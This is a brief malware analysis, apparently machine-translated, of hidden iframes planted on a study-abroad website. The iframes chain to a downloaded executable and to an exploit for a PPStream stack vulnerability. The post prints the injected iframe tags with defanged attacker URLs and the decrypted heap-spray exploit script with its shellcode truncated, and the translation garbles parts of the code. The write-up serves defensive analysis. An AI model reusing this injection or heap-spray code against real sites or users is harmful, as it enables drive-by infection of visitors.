Code implanted on a website for studying abroad to exploit the PPStream Stack Vulnerability

Code implanted on a website for studying abroad to exploit the PPStream Stack Vulnerability

EndurerOriginal
1Version

Website implanted code:
/---
<IFRAME src = hxxp: // xxx.7 ** 45*97 ** 0.com/newdm/new05.htm? 075 width = 0 Height = 0> </iframe>
---/

Hxxp: // xxx.7 ** 45*97 ** 0.com/newdm/new05.htm? 075Code included:
/---
<IFRAME width = '0' Height = '0' src = 'hxxp: // xxx.7 ** 45*97 ** 0.com/wm/014.htm'> </iframe>
<IFRAME width = '0' Height = '0' src = 'hxxp: // xxx.7 ** 45*97 ** 0.com/wm/pps.htm'> </iframe>
---/

Hxxp: // xxx.7 ** 45*97 ** 0.com/wm/014.htmDownloadHxxp: // down. D * j ** 7*78 * 8.cn/eeee.exe, Create eeee. vbs for running.

File Description: D:/test/eeee.exe
Attribute: ---
An error occurred while obtaining the file version information!
Creation Time:
Modification time: 17:34:56
Access time: 17:36:41
Size: 18944 bytes, 18.512 KB
MD5: 711db0f8a651b3877db9febfa4060cdb
Hsa1: eca7f2889f07e01097575eeeac9ab30f97ec7311

UPX 0.89.6-1.02/1.05-1.24-> Markus & Laszlo

Hxxp: // xxx.7 ** 45*97 ** 0.com/wm/pps.htmIs an encrypted PPStream Stack Vulnerability using code. After decryption, it is:
/---
VaR newcode = Unescape ("% u00e8 % u0000 % u6a00 % ueb ...... % U776f % %%u6a64% u3737 % u3838 % u632e % %%u7070% u2e73 % u7865 % u0065 "); bigblock = Unescape (" % u9090 "); headersize = 20; slackspace = headersize + newcode. length; while (bigblock. length <slackspace) bigblock + = bigblock; fillblock = bigblock. substring (0, slackspace); block = bigblock. substring (0, bigblock. length-slackspace); While (Block. length + slackspace <0x40000) block = block + fillblock; Memory = new array (); For (x = 0; x <400; X ++) memory [x] = block + newcode; var buffer = '\ x0a'; while (buffer. length <500) buffer + = '\ x0a \ x0a \ x0a \ x0a'; PPC. logo = buffer;
---/